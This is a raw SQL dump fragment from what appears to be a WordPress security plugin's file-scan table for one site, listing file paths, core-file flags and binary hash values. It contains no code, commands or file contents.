('!Plu6CZ','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/namespaced/Core/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Pe1','T*+z]ʜ;>\n3]?x','',0,'?'),
('!_輵p3pnL','wp-includes/images/smilies/icon_eek.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_eek.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/I x)(\"','8K҇4!:ʰ','',0,'?'),
('!r>]!@ν6s','wp-content/themes/twentytwentyfive/patterns/header-centered.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/header-centered.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','9a0,yxCM','MrSLYe.ҙ-1A','',0,'?'),
('!|(yW*1Oo2Cu','wp-includes/js/wp-api.js','/home/trevorkl/trevorklee.com/wp-includes/js/wp-api.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`7\rJG	ϭOt>',';_*B5喙GIC6x ','',0,'?'),
('!xx+![(','wp-includes/js/dist/list-reusable-blocks.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/list-reusable-blocks.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`]ح^yrɕ','!ӓiL;]OAZ.\';N','',0,'?'),
('!w<A\n@O','wp-includes/js/dist/hooks.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/hooks.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2bX?Ĕ','Y\\5&69\'&.','',0,'?'),
('!;\rVi','wp-includes/blocks/classic/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/classic/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('!u3=4gchj','wp-includes/widgets/error_log','/home/trevorkl/trevorklee.com/wp-includes/widgets/error_log',0,'>\ZļM	&ԏ','>\ZļM	&ԏ','	Jfه}O}DjĬ#,jw','',0,'?'),
('!:U94\Z?OD','wp-content/themes/twentytwentyfive/patterns/cta-book-links.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/cta-book-links.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','AvY@9f2/x','Iz!X4HH>k','',0,'?'),
('!poCTf\\','wp-content/themes/twentytwentyfive/patterns/event-rsvp.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/event-rsvp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=F&9ńG','?NYw+	K|&!ṷVWg','',0,'?'),
('!>NNٌ','wp-includes/blocks/file/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/file/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','eMiO/1	','T71g#Vsђ/dL?0l','',0,'?'),
('!N¡#zm[7','wp-content/plugins/simpletoc/.eslintrc.js','/home/trevorkl/trevorklee.com/wp-content/plugins/simpletoc/.eslintrc.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!7}iEJA?','0W:Va#T |qCUQ$`e','',0,'?'),
('!##sw:\rH*$q','wp-content/plugins/wordfence/lib/menu_tools_diagnostic.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_diagnostic.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','/N4L9W','ʍ5d}fgX@c','',0,'?'),
('!p,!^#1','wp-includes/sitemaps/sqh1xut/mjntoed/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/sqh1xut/mjntoed/index.php',0,'i\0@]VȄ','i\0@]VȄ','8\\I.B|oԾZ~\nWzB','',0,'?'),
('!\')qM*Xc','wp-includes/blocks/embed/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/embed/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_ZyǍ͞??m','׈g`JC9yGȌj)A','',0,'?'),
('!RpnLwm7','wp-includes/js/tinymce/plugins/lists/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/lists/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')r?NぼIq\'','%=rdv\nizxu)3p','',0,'?'),
('!ہIǵ`8t','wp-includes/js/dist/keyboard-shortcuts.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/keyboard-shortcuts.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' m@Q\rSy%	-0','Z_ 3rn_6`\rfm\n','',0,'?'),
('!߬vg1IV|E','wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/tag-clould/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[<ԉ1-3','wB;\\q\\8N!-X!\n','',0,'?'),
('!Tۦ	lI\n','wp-content/plugins/wordfence/lib/menu_tools_importExport.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/menu_tools_importExport.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*qbľvyDl','\Z.L\\ZA2M\0B','',0,'?'),
('!>лӊ^[U}','wp-includes/js/dist/data-controls.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/data-controls.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5t*h+J..W','1ܴyG4\\\"MQ,\n.3{tHN','',0,'?'),
('!O4bCRRfO','wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/wordfence/wf-waf/src/lib/storage/file.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d\nrCO߶a','2tӑ @fjxm>*4','',0,'?'),
('!Y0-z1dm>','wp-admin/js/plugin-install.min.js','/home/trevorkl/trevorklee.com/wp-admin/js/plugin-install.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','q܂y|RCgX/','?UաNkhkGQTҗ[0N-','',0,'?'),
('\"\n4jSË','wp-includes/blocks/spacer/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','skk3zU)','u2Tz\"-g&]Vj$O>','',0,'?'),
('\"Etys\Z|g','wp-includes/js/tinymce/plugins/wptextpattern/plugin.js','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/wptextpattern/plugin.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E	-No','LIYow)4!:;?','',0,'?'),
('\"\r↻7l~˝A','wp-includes/blocks/text-columns/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/text-columns/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','sM_$<f','D\\+(a8\rqv\'9>R','',0,'?'),
('\"=','wp-content/themes/twentytwentyfive/style.min.css','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d2vk}','r	0 F]ԶbOĢ;Q\'','',0,'?'),
('\"(}Gr	0V(','wp-admin/ms-options.php','/home/trevorkl/trevorklee.com/wp-admin/ms-options.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Ǆf$Ȓ,i42','9Z{Orj42xRpV_','',0,'?'),
('\"-Ѳ\n2j%(o','wp-content/themes/twentynineteen/sass/layout/_layout.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/layout/_layout.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','!&\"{#*','v@.|s>0OA3jA','',0,'?'),
('\"0rN1M#','wp-content/plugins/wordfence/vendor/composer/autoload_classmap.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/vendor/composer/autoload_classmap.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ytP>RaS@-','u{4sJ3H6owr','',0,'?'),
('\"8A\n=ᇼfp5','wp-includes/theme-compat/embed-404.php','/home/trevorkl/trevorklee.com/wp-includes/theme-compat/embed-404.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',';CQ5z','47:V]L,BR$2pz񁇹','',0,'?'),
('\":\\߭eT2PJ\r','wp-content/themes/twentytwentyfive/styles/colors/08-midnight.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/styles/colors/08-midnight.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','6$H\ZʗkA','\"N<X\"XԎf^\Zɾud\\','',0,'?'),
('\"IFn@a}9','wp-admin/includes/class-wp-themes-list-table.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-themes-list-table.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&ڶ]od!','P;[:ǯuɌ5nӺnVF','',0,'?'),
('\"Jx7D.W[M','wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/index.php','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/gajftko/rdkfahv/gqcshxk/index.php',0,'(zD9\0~J+','(zD9\0~J+','\'8U(.dih!!:\\h\"2(d','',0,'?'),
('\"NMkVO','wp-includes/js/dist/data.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/data.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','.PQG','w!]Jt?ܯ\rNp)E\nn+g','',0,'?'),
('\"Y5\"msYA','wp-content/plugins/wordfence/modules/login-security/classes/controller/javascript.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/modules/login-security/classes/controller/javascript.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','FЏᯱ2J(6','g8GUݶߢm]%>\06{','',0,'?'),
('\"q	K6A!','wp-includes/css/dist/reusable-blocks/style.min.css','/home/trevorkl/trevorklee.com/wp-includes/css/dist/reusable-blocks/style.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','pEG.7Qm#','14)\rEujV܏kv}z','',0,'?'),
('\"\ro]\r:T0ۓ%','wp-content/themes/twentytwentyone/assets/sass/06-components/editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\nCbʁe','WKR=\n$`;ai','',0,'?'),
('\"K6^4V}','wp-includes/blocks/spacer/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/spacer/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','2~Pa\Zjmެb','ghU:~M\ZLB3JM{\rW','',0,'?'),
('\"LL2e^<3','wp-includes/blocks/post-comments-count/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-comments-count/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','g)Lxbc','H+^5wRfj	b4YnD','',0,'?'),
('\"vP12','wp-content/themes/twentytwentyfour/assets/fonts/jost/OFL.txt','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/assets/fonts/jost/OFL.txt',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\\{yI$,','aLa+#쓚cn_܁YT','',0,'?'),
('\"\\;T4X','wp-content/themes/twentytwenty/inc/svg-icons.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/inc/svg-icons.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',')[N[eM1`','ay]̼7@7ng5T','',0,'?'),
('\"b9e|_','wp-includes/feed-atom-comments.php','/home/trevorkl/trevorklee.com/wp-includes/feed-atom-comments.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_mYD	[s\n8!2','ك+q8o_T_/zM<R=9','',0,'?'),
('\"D*uoM>^0g','wp-includes/blocks/site-tagline/style.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-tagline/style.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WA;䊹','Н<+[D\n4Hvֳ-;','',0,'?'),
('\"Y\\^\'K','wp-includes/blocks/post-template/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\"ۯ67?','wp-includes/blocks/site-title/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/site-title/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','w\ZgDokxl','OQ?vEo\0\ZҖ%\\H3','',0,'?'),
('\"u>17','wp-includes/class-pop3.php','/home/trevorkl/trevorklee.com/wp-includes/class-pop3.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','ST\')Y\'\"l','ǔVr3HCCp+qբg0$˗\r^Z','',0,'?'),
('\"|zi(?','wp-content/themes/twentytwentyfive/patterns/template-query-loop-news-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-query-loop-news-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','NuSkⲇ','DE+&\Zʖ6_gdlf\n\0','',0,'?'),
('\"HLSN8$','wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/fonts/fira-sans/FiraSans-ExtraLightItalic.woff2',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','KGH3a+/Br','&q2FJA7v綰t!ILKߋі','',0,'?'),
('\"6\r+K{\Z!a','wp-admin/comment.php','/home/trevorkl/trevorklee.com/wp-admin/comment.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','?9[d','\"	fuE9i`4\'j','',0,'?'),
('\"գQ4L+ fҊ9','wp-includes/js/tinymce/plugins/directionality/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/tinymce/plugins/directionality/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('\"u@rX42&[E','wp-includes/blocks/comment-date/style-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/comment-date/style-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','[nB}\Z9>?','#$Et\'UA3Pss*3\\?V\r','',0,'?'),
('\"wh','wp-admin/includes/class-automatic-upgrader-skin.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-automatic-upgrader-skin.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','7$,X,Xo~N','}3ƨ]8U7׉c:','',0,'?'),
('\"ڬ<ř6Թs','wp-content/themes/twentytwentythree/patterns/hidden-no-results.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/patterns/hidden-no-results.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|ݻ\r&*,^T','y0M퉳_2nrnR^$\ZT8','',0,'?'),
('\"_,yO\\','wp-content/themes/twentytwentythree/styles/marigold.json','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/styles/marigold.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','`\"V)I(','vt&I|{_.?T4','',0,'?'),
('\"0\0L\'M','wp-includes/sodium_compat/src/Core32/HChaCha20.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','95ef#ϝ','i\rC\"Գ\r48cS','',0,'?'),
('\"DZ~\0|3','wp-includes/blocks/query/editor.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/query/editor.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','MGG:(^\r','`M;\0¼[t\n˳	jl	','',0,'?'),
('\"J2\rߤ-H&','wp-includes/js/dist/date.min.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/date.min.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','&\nPB=','Cl~jb&\r8ܕr1˥	f\\','',0,'?'),
('#z1h;','wp-content/themes/twentynineteen/sass/navigation/_navigation.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/navigation/_navigation.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','tx߰+e=SF','5,nRjtݑʦ/','',0,'?'),
('#\n/PZ~h','wp-content/plugins/wordfence/lib/email_genericAlert.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/email_genericAlert.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','+I*kCe;PS','_\'\\qF0{ТF\r.OK','',0,'?'),
('#Dń5%','wp-includes/class-wp-hook.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp-hook.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','>ZV,','ofX2QA(*m','',0,'?'),
('#OkWErĒԸ','wp-content/plugins/wordfence/views/scanner/text/issue-knownfile.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/views/scanner/text/issue-knownfile.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','48\n8{kZ','Իq8?ݓ\"*\ZЀ','',0,'?'),
('#j-aq`','wp-content/themes/twentytwentytwo/inc/patterns/header-default.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/inc/patterns/header-default.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','K\0*t+`','Ínys2~8$M-\0Wc\Z','',0,'?'),
('#\"$?ƻ+','wp-includes/js/dist/script-modules/block-editor/utils/.htaccess','/home/trevorkl/trevorklee.com/wp-includes/js/dist/script-modules/block-editor/utils/.htaccess',0,'LʴR\Z\rC','LʴR\Z\rC','6e\\GU3q[bWU\'*6$m','',0,'?'),
('#\\M@0T','wp-includes/blocks/post-excerpt/editor-rtl.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-excerpt/editor-rtl.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','	<\r\'w9zR','OFsoKL*(\nb`fNXsSԚ\\S]','',0,'?'),
('#QCw3eX9','wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/sass/site/footer/_site-footer.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','|\07','@UJL$)\ZO\\|bS|oR','',0,'?'),
('#}saa,!','wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/06-components/header.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','=Rm:h$щ9|l','8\nwctf	\\>2','',0,'?'),
('#-g\\L%3S݋B#\r','wp-content/plugins/wordfence/images/wf-horizontal.svg','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/images/wf-horizontal.svg',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','E%Zlo9͒','0	6ӭIvhJ`','',0,'?'),
('#	HMUZ\r&gd','wp-content/themes/twentytwentyfive/assets/images/category-cactus.webp','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/assets/images/category-cactus.webp',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','WEnl','&mq]OxKu?k','',0,'?'),
('#XȰ#ikd8','wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php','/home/trevorkl/trevorklee.com/wp-includes/rest-api/endpoints/class-wp-rest-icon-collections-controller.php',0,'5Ƌ/9/3!@=','5Ƌ/9/3!@=','\"0#[ҝA}cwJ','',0,'?'),
('#iUfzhJF','wp-includes/sodium_compat/autoload-php7.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/autoload-php7.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','n4','-r*H^O<a{X@g +','',0,'?'),
('$\\QL?1&{','wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/file/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zݨ|$}&ǖ','/5ldeR׫HZV','',0,'?'),
('$$;hQ\0Hh<:3','wp-content/themes/twentytwentyfive/patterns/template-archive-photo-blog.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfive/patterns/template-archive-photo-blog.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0',' /x퟈','s:dmr0@p\n0^,M86o','',0,'?'),
('$K\Zlg]\"T','wp-content/plugins/loginizer/assets/images/social/Twitter.png','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/assets/images/social/Twitter.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','~L\';>;','#Px@⑶FyĽRׯY	Z','',0,'?'),
('$%g讇e|','wp-includes/js/dist/base-styles.js','/home/trevorkl/trevorklee.com/wp-includes/js/dist/base-styles.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','lJF*D','4bN×lU eg\"xsjc','',0,'?'),
('$0S\rr','wp-includes/images/smilies/icon_redface.gif','/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_redface.gif',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','*M0je[Y*',']4\0 }S/Ah)','',0,'?'),
('$V|hhy','wp-content/themes/twentytwenty/screenshot.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwenty/screenshot.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','a#C4Y','TZegҫR!Mx0^l\r','',0,'?'),
('$C/9','wp-includes/class-wp.php','/home/trevorkl/trevorklee.com/wp-includes/class-wp.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','zy\rp!\',','8\Z	CtX59j\0o','',0,'?'),
('$z&x','wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/index.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/index.php',0,'Dq09P\"','Dq09P\"','*CFZlba`x','',0,'?'),
('$-#q`l$Wۉ','wp-content/plugins/wordfence/lib/live_activity.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/lib/live_activity.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','iks','^&Vb,sB^R4ѸV','',0,'?'),
('$^6bH^*','wp-admin/options-privacy.php','/home/trevorkl/trevorklee.com/wp-admin/options-privacy.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','yT?\\yya','H%t~qgw`-D','',0,'?'),
('$ϫ/!C','wp-includes/IXR/class-IXR-introspectionserver.php','/home/trevorkl/trevorklee.com/wp-includes/IXR/class-IXR-introspectionserver.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','SS<y3\'','Q]!6{ߘ:nl}H{?m&R\'','',0,'?'),
('%\0Y!8z*Bnc4','wp-includes/blocks/post-time-to-read/style-rtl.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-time-to-read/style-rtl.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','5gY揺','܇Um)FԹ Ra!~!0*','',0,'?'),
('%r|݈Eq','wp-includes/SimplePie/src/HTTP/Client.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/HTTP/Client.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','@A1jI=','\nOZ8-z5\"άtCH','',0,'?'),
('%Ԯ{f','wp-content/themes/twentytwentytwo/assets/images/divider-white.png','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentytwo/assets/images/divider-white.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','d(ʷ	\rR','@a{aKմrz\r[FV,.>','',0,'?'),
('%	ſkuXb','wp-includes/blocks/read-more.php','/home/trevorkl/trevorklee.com/wp-includes/blocks/read-more.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','p]Z\"yҐ','=\'1]!</vBS`ƛ!','',0,'?'),
('%]M3T1T/','wp-includes/blocks/preformatted/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/preformatted/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','u\r{;\"','8B4[[m[Ns\0R,D\"','',0,'?'),
('%7娳','wp-content/plugins/wordfence/waf/wfWAFUserIPRange.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/waf/wfWAFUserIPRange.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','Cڔ]|$~','i\rF@43BSpSoK\\','',0,'?'),
('%Y z','wp-content/themes/twentytwentyfour/patterns/hidden-portfolio-hero.php','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyfour/patterns/hidden-portfolio-hero.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','^\ZW5I=','6>غ4QUKfD(fiIW','',0,'?'),
('%fNvn9,\rW','wp-includes/blocks/post-template/block.json','/home/trevorkl/trevorklee.com/wp-includes/blocks/post-template/block.json',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','qU)\\4{wzJ','pUK}Ja::B\Zv','',0,'?'),
('%$MqT<','wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Salsa20.php','/home/trevorkl/trevorklee.com/wp-content/plugins/wordfence/crypto/vendor/paragonie/sodium_compat/src/Core/Salsa20.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','CUO\ZߠxtH','G\n\"_/Agh	U?SsHבYٳ','',0,'?'),
('%&JTt>`bT','wp-includes/sitemaps/nsrytze/1apqerf/index.html','/home/trevorkl/trevorklee.com/wp-includes/sitemaps/nsrytze/1apqerf/index.html',0,'ُ\0	B~','ُ\0	B~','Bșo$\'AdLxRU','',0,'?'),
('%..Ct=\\`','wp-includes/sodium_compat/src/Core/SipHash.php','/home/trevorkl/trevorklee.com/wp-includes/sodium_compat/src/Core/SipHash.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','cJ>|Eqv0|bv ','ܟjpeMN?aXi+!S2','',0,'?'),
('%?fEMs','wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_editor.scss','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentyone/assets/sass/05-blocks/latest-comments/_editor.scss',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','xʯt^{e','sr)*yKB:-,f٢VMtCFP','',0,'?'),
('%X1hoGD!\nw','wp-content/plugins/loginizer/lib/hybridauth/Provider/LinkedInOpenID.php','/home/trevorkl/trevorklee.com/wp-content/plugins/loginizer/lib/hybridauth/Provider/LinkedInOpenID.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','dQZ#i2_:V\n','ҵ}fp;^A\r^0m؆','',0,'?'),
('%igcaW!q','wp-includes/blocks/cover/editor.min.css','/home/trevorkl/trevorklee.com/wp-includes/blocks/cover/editor.min.css',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','%A j?݉','3]MmPe$0&[nk-%','',0,'?'),
('%m|F!zS8','wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/LICENSE.md','/home/trevorkl/trevorklee.com/wp-content/themes/twentytwentythree/assets/fonts/source-serif-pro/LICENSE.md',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','UZ)\'a5@','Di\"Ǟt۱R@8uvu','',0,'?'),
('%{O_R','wp-includes/SimplePie/src/Source.php','/home/trevorkl/trevorklee.com/wp-includes/SimplePie/src/Source.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','8O~5ſ[%7\0','bH4aC$!F;7z','',0,'?'),
('%}Mha&6','wp-content/themes/twentynineteen/js/customize-controls.js','/home/trevorkl/trevorklee.com/wp-content/themes/twentynineteen/js/customize-controls.js',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','_K`ee\"z','zXI>&~GtM_7D	','',0,'?'),
('%9\\ދ','wp-admin/includes/class-wp-site-health-auto-updates.php','/home/trevorkl/trevorklee.com/wp-admin/includes/class-wp-site-health-auto-updates.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0߸%ٹԢ','I~ۑCl&*H\"^[(?','',0,'?'),
('%|-X2`JV','wp-admin/images/about-texture.png','/home/trevorkl/trevorklee.com/wp-admin/images/about-texture.png',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','\0m{oQKU','J>\\ˌk~2r!!ti+\0','',0,'?'),
('%BqIDJz','wp-includes/html-api/class-wp-html-tag-processor.php','/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-tag-processor.php',1,'\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0','0_b','GI׻5g	`|&D^f1ב','',0,'?'),
